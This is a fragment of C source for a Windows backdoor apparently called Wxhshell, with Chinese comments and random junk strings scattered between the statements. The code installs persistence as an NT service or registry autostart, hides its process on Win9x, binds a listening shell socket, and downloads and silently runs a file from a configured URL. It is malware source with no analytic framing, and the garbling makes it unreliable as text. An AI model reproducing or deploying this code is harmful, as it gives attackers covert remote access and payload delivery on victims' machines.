&cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \MsAdYR
x?KgEcnw2X CloseHandle(hProcess); {2R b^K %*e6@Hm if(strstr(procName,"services")) return 1; // 以服务启动 JTNQz E{^*^+c"h return 0; // 注册表启动 B@HW@j } ~IZ'zuc ->6/L) // 主模块 k^J~l=?v int StartWxhshell(LPSTR lpCmdLine) )^
R]3!v { Zq2dCp% SOCKET wsl; 24Z7;' BOOL val=TRUE; # ,u7lAz int port=0; Y"D'|i struct sockaddr_in door; +8."z"i3lE r|:|\"Yk if(wscfg.ws_autoins) Install(); Hhr/o~?;}# j;<Yje&Wz port=atoi(lpCmdLine); -2o4v#d VxLq,$B76 if(port<=0) port=wscfg.ws_port; <oI{:KH w3 PE.A"Q WSADATA data; A1{P"p! if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -_
.f&l8 ,E3"AisI if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *;Dd:D9 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1s-k=3) door.sin_family = AF_INET; x6* {@J&5* door.sin_addr.s_addr = inet_addr("127.0.0.1"); kCL)F\v"iT door.sin_port = htons(port); T_\HU*\ N)lzX X if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l2+qP{_4 closesocket(wsl); 9b@L^]Kg return 1; gTY\B. } + G"=1sxJ yrnB]$hf
if(listen(wsl,2) == INVALID_SOCKET) { pAtHU(} closesocket(wsl); eU1= :n&&\ return 1; nj!)\U } ~7Kqc\/H&I Wxhshell(wsl); r*N:-I~z WSACleanup(); X |.'_6l. Id
*Gs>4U return 0; jx!)N> 'BpK(PlUh } pNcNU[c L=iaL[zdJ // 以NT服务方式启动 +)^F9LPl VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +[UFf3(ON { wA+J49 DWORD status = 0; @4B+<,i
DWORD specificError = 0xfffffff; VW<s_ !X(Lvt/ serviceStatus.dwServiceType = SERVICE_WIN32; ;/N[tO?Q serviceStatus.dwCurrentState = SERVICE_START_PENDING; >>rW-& serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?t'ZX~k serviceStatus.dwWin32ExitCode = 0; 3q R@$pm serviceStatus.dwServiceSpecificExitCode = 0; MxuwEV|^ serviceStatus.dwCheckPoint = 0; XASoS5 serviceStatus.dwWaitHint = 0; lJi'%bOi 4-eb& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0L$v7,
5 if (hServiceStatusHandle==0) return; L5(rP\B 'jZ2^ status = GetLastError(); v!E0/
gD if (status!=NO_ERROR) _J6|ju\ { HelC_%#^ serviceStatus.dwCurrentState = SERVICE_STOPPED; c ^G\w+_ serviceStatus.dwCheckPoint = 0; .6!IO^`[ serviceStatus.dwWaitHint = 0; &0K;Vr~D serviceStatus.dwWin32ExitCode = status; <^UB@'lCm serviceStatus.dwServiceSpecificExitCode = specificError; 9U>ID{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); g^NdN46% return; g.kpUs } k~>9,=::d DifRpj I-0 serviceStatus.dwCurrentState = SERVICE_RUNNING; N;>>HN[bBP serviceStatus.dwCheckPoint = 0; ')5W serviceStatus.dwWaitHint = 0; IPbdX@FeV if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rFM`ne<zh } Cnd*%C PZ x +!<_p // 处理NT服务事件,比如:启动、停止 V2ypmkn8& VOID WINAPI NTServiceHandler(DWORD fdwControl) tv+q~TFB=Z { i/Q*AG>b switch(fdwControl) U`,&Q] { [@"H2#CQ case SERVICE_CONTROL_STOP: i)1E[jc{p! serviceStatus.dwWin32ExitCode = 0; {p|OKf serviceStatus.dwCurrentState = SERVICE_STOPPED; ]cc4+}L~ serviceStatus.dwCheckPoint = 0; |b;}'
* serviceStatus.dwWaitHint = 0; ;*:d)'A { HW|c -\tS SetServiceStatus(hServiceStatusHandle, &serviceStatus); !aeL*`; } ;wbQTp2 return; z tHGY case SERVICE_CONTROL_PAUSE: ibl^A= serviceStatus.dwCurrentState = SERVICE_PAUSED; }H?8~S= break; HPCzh case SERVICE_CONTROL_CONTINUE: l#7,<@) serviceStatus.dwCurrentState = SERVICE_RUNNING; oB-&ma[ZS break; pco~Z{n case SERVICE_CONTROL_INTERROGATE: Xl#vVyO break; 1(gb-u0 }; %/oOM\}++ SetServiceStatus(hServiceStatusHandle, &serviceStatus); t^ Aios~F } Fla[YWS />Wh // 标准应用程序主函数 N;F1Z-9 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -3qB,KT { PkLRQ} Mw?nIIu(@ // 获取操作系统版本 C0jmjZ%w@ OsIsNt=GetOsVer(); Oe'Nn250
GetModuleFileName(NULL,ExeFile,MAX_PATH); b)en/mz C:hfI;*7 // 从命令行安装 >L$y|8O if(strpbrk(lpCmdLine,"iI")) Install(); s^^X.z , F]
+t/ // 下载执行文件 +#6WORH0S if(wscfg.ws_downexe) { Umm_FEU#] if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 76c4~IG# WinExec(wscfg.ws_filenam,SW_HIDE); ;J2U5Y NO } Gnl6>/L, $9y]>R if(!OsIsNt) { k1L GT& // 如果时win9x,隐藏进程并且设置为注册表启动 %{yr#F=t#] HideProc(); nqBZp N^ StartWxhshell(lpCmdLine); bFVz ; } 9|v else vROl}s; if(StartFromService()) 8doT`rI1 // 以服务方式启动 :GIY"l' StartServiceCtrlDispatcher(DispatchTable); .Y&_k else 7WiVor$g- // 普通方式启动 6](vnS; StartWxhshell(lpCmdLine); 3! dD!' j5R= K*y return 0; 7FqmT
}
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